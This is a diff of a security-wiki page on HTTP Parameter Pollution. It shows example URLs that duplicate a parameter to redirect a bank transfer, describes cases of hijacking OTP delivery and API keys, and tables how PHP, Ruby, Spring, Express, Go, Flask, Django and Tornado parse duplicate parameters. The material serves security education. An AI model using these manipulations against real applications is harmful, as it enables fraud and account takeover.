Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -19,66 +21,134 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
## HTTP Parameter Pollution (HPP) Overview
|
||||||
# HTTP Parameter Pollution (HPP) Overview
|
|
||||||
|
|
||||||
HTTP Parameter Pollution (HPP) is a technique where attackers manipulate HTTP parameters to change the behavior of a web application in unintended ways. This manipulation is done by adding, modifying, or duplicating HTTP parameters. The effect of these manipulations is not directly visible to the user but can significantly alter the application's functionality on the server side, with observable impacts on the client side.
|
HTTP Parameter Pollution (HPP) is a technique where attackers manipulate HTTP parameters to change the behavior of a web application in unintended ways. This manipulation is done by adding, modifying, or duplicating HTTP parameters. The effect of these manipulations is not directly visible to the user but can significantly alter the application's functionality on the server side, with observable impacts on the client side.
|
||||||
|
|
||||||
## Example of HTTP Parameter Pollution (HPP)
|
### Example of HTTP Parameter Pollution (HPP)
|
||||||
|
|
||||||
A banking application transaction URL:
|
A banking application transaction URL:
|
||||||
|
|
||||||
- **Original URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
* **Original URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000`
|
||||||
|
|
||||||
By inserting an additional `from` parameter:
|
By inserting an additional `from` parameter:
|
||||||
|
|
||||||
- **Manipulated URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
* **Manipulated URL:** `https://www.victim.com/send/?from=accountA&to=accountB&amount=10000&from=accountC`
|
||||||
|
|
||||||
The transaction may be incorrectly charged to `accountC` instead of `accountA`, showcasing the potential of HPP to manipulate transactions or other functionalities such as password resets, 2FA settings, or API key requests.
|
The transaction may be incorrectly charged to `accountC` instead of `accountA`, showcasing the potential of HPP to manipulate transactions or other functionalities such as password resets, 2FA settings, or API key requests.
|
||||||
|
|
||||||
### **Technology-Specific Parameter Parsing**
|
#### **Technology-Specific Parameter Parsing**
|
||||||
|
|
||||||
- The way parameters are parsed and prioritized depends on the underlying web technology, affecting how HPP can be exploited.
|
* The way parameters are parsed and prioritized depends on the underlying web technology, affecting how HPP can be exploited.
|
||||||
- Tools like [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) help identify these technologies and their parsing behaviors.
|
* Tools like [Wappalyzer](https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/) help identify these technologies and their parsing behaviors.
|
||||||
|
|
||||||
## PHP and HPP Exploitation
|
### PHP and HPP Exploitation
|
||||||
|
|
||||||
**OTP Manipulation Case:**
|
**OTP Manipulation Case:**
|
||||||
|
|
||||||
- **Context:** A login mechanism requiring a One-Time Password (OTP) was exploited.
|
* **Context:** A login mechanism requiring a One-Time Password (OTP) was exploited.
|
||||||
- **Method:** By intercepting the OTP request using tools like Burp Suite, attackers duplicated the `email` parameter in the HTTP request.
|
* **Method:** By intercepting the OTP request using tools like Burp Suite, attackers duplicated the `email` parameter in the HTTP request.
|
||||||
- **Outcome:** The OTP, meant for the initial email, was instead sent to the second email address specified in the manipulated request. This flaw allowed unauthorized access by circumventing the intended security measure.
|
* **Outcome:** The OTP, meant for the initial email, was instead sent to the second email address specified in the manipulated request. This flaw allowed unauthorized access by circumventing the intended security measure.
|
||||||
|
|
||||||
This scenario highlights a critical oversight in the application's backend, which processed the first `email` parameter for OTP generation but used the last for delivery.
|
This scenario highlights a critical oversight in the application's backend, which processed the first `email` parameter for OTP generation but used the last for delivery.
|
||||||
|
|
||||||
**API Key Manipulation Case:**
|
**API Key Manipulation Case:**
|
||||||
|
|
||||||
- **Scenario:** An application allows users to update their API key through a profile settings page.
|
* **Scenario:** An application allows users to update their API key through a profile settings page.
|
||||||
- **Attack Vector:** An attacker discovers that by appending an additional `api_key` parameter to the POST request, they can manipulate the outcome of the API key update function.
|
* **Attack Vector:** An attacker discovers that by appending an additional `api_key` parameter to the POST request, they can manipulate the outcome of the API key update function.
|
||||||
- **Technique:** Utilizing a tool like Burp Suite, the attacker crafts a request that includes two `api_key` parameters: one legitimate and one malicious. The server, processing only the last occurrence, updates the API key to the attacker's provided value.
|
* **Technique:** Utilizing a tool like Burp Suite, the attacker crafts a request that includes two `api_key` parameters: one legitimate and one malicious. The server, processing only the last occurrence, updates the API key to the attacker's provided value.
|
||||||
- **Result:** The attacker gains control over the victim's API functionality, potentially accessing or modifying private data unauthorizedly.
|
* **Result:** The attacker gains control over the victim's API functionality, potentially accessing or modifying private data unauthorizedly.
|
||||||
|
|
||||||
This example further underscores the necessity for secure parameter handling, especially in features as critical as API key management.
|
This example further underscores the necessity for secure parameter handling, especially in features as critical as API key management.
|
||||||
|
|
||||||
## Parameter Parsing: Flask vs. PHP
|
### Parameter Parsing: Flask vs. PHP
|
||||||
|
|
||||||
The way web technologies handle duplicate HTTP parameters varies, affecting their susceptibility to HPP attacks:
|
The way web technologies handle duplicate HTTP parameters varies, affecting their susceptibility to HPP attacks:
|
||||||
|
|
||||||
- **Flask:** Adopts the first parameter value encountered, such as `a=1` in a query string `a=1&a=2`, prioritizing the initial instance over subsequent duplicates.
|
* **Flask:** Adopts the first parameter value encountered, such as `a=1` in a query string `a=1&a=2`, prioritizing the initial instance over subsequent duplicates.
|
||||||
- **PHP (on Apache HTTP Server):** Contrarily, prioritizes the last parameter value, opting for `a=2` in the given example. This behavior can inadvertently facilitate HPP exploits by honoring the attacker's manipulated parameter over the original.
|
* **PHP (on Apache HTTP Server):** Contrarily, prioritizes the last parameter value, opting for `a=2` in the given example. This behavior can inadvertently facilitate HPP exploits by honoring the attacker's manipulated parameter over the original.
|
||||||
|
|
||||||
|
## Parameter pollution by technology
|
||||||
|
|
||||||
|
There results were taken from [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
|
||||||
|
|
||||||
|
### PHP 8.3.11 AND Apache 2.4.62 <a href="#id-9523" id="id-9523"></a>
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (1255).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*l_Pf2JNCYhmfAvfk7UTEbQ.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
1. Ignore anything after %00 in the parameter name .
|
||||||
|
2. Handle name\[] as array .
|
||||||
|
3. \_GET not meaning GET Method .
|
||||||
|
4. Prefer the last parameter .
|
||||||
|
|
||||||
|
### Ruby 3.3.5 and WEBrick 1.8.2
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (1257).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kKxtZ8qEmgTIMS81py5hhg.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
1. Uses the & and ; delimiters to split parameters .
|
||||||
|
2. Not Recognized name\[] .
|
||||||
|
3. Prefer the first parameter .
|
||||||
|
|
||||||
|
### Spring MVC 6.0.23 AND Apache Tomcat 10.1.30 <a href="#dd68" id="dd68"></a>
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (1258).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*llG22MF1gPTYZYFVCmCiVw.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping .
|
||||||
|
2. POST RequestMapping & PostMapping Recognized name\[] .
|
||||||
|
3. Prefer name if name AND name\[] existing .
|
||||||
|
4. Concatenate parameters e.g. first,last .
|
||||||
|
5. POST RequestMapping & PostMapping Recognized query parameter with Content-Type .
|
||||||
|
|
||||||
|
### **NodeJS** 20.17.0 **AND** Express 4.21.0 <a href="#id-6d72" id="id-6d72"></a>
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (1259).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*JzNkLOSW7orcHXswtMHGMA.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
1. Recognized name\[] .
|
||||||
|
2. Concatenate parameters e.g. first,last .
|
||||||
|
|
||||||
|
### GO 1.22.7 <a href="#id-63dc" id="id-63dc"></a>
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (1260).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*NVvN1N8sL4g_Gi796FzlZA.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
1. NOT Recognized name\[] .
|
||||||
|
2. Prefer the first parameter .
|
||||||
|
|
||||||
|
### Python 3.12.6 AND Werkzeug 3.0.4 AND Flask 3.0.3 <a href="#b853" id="b853"></a>
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (1261).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*Se5467PFFjIlmT3O7KNlWQ.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
1. NOT Recognized name\[] .
|
||||||
|
2. Prefer the first parameter .
|
||||||
|
|
||||||
|
### Python 3.12.6 AND Django 4.2.15 <a href="#id-8079" id="id-8079"></a>
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (1262).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rf38VXut5YhAx0ZhUzgT8Q.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
1. NOT Recognized name\[] .
|
||||||
|
2. Prefer the last parameter .
|
||||||
|
|
||||||
|
### Python 3.12.6 AND Tornado 6.4.1 <a href="#id-2ad8" id="id-2ad8"></a>
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/image (1263).png" alt=""><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*obCn7xahDc296JZccXM2qQ.jpeg</a></p></figcaption></figure>
|
||||||
|
|
||||||
|
1. NOT Recognized name\[] .
|
||||||
|
2. Prefer the last parameter .
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
* [https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654](https://medium.com/@shahjerry33/http-parameter-pollution-its-contaminated-85edc0805654)
|
||||||
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
* [https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution](https://github.com/google/google-ctf/tree/master/2023/web-under-construction/solution)
|
||||||
|
* [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
|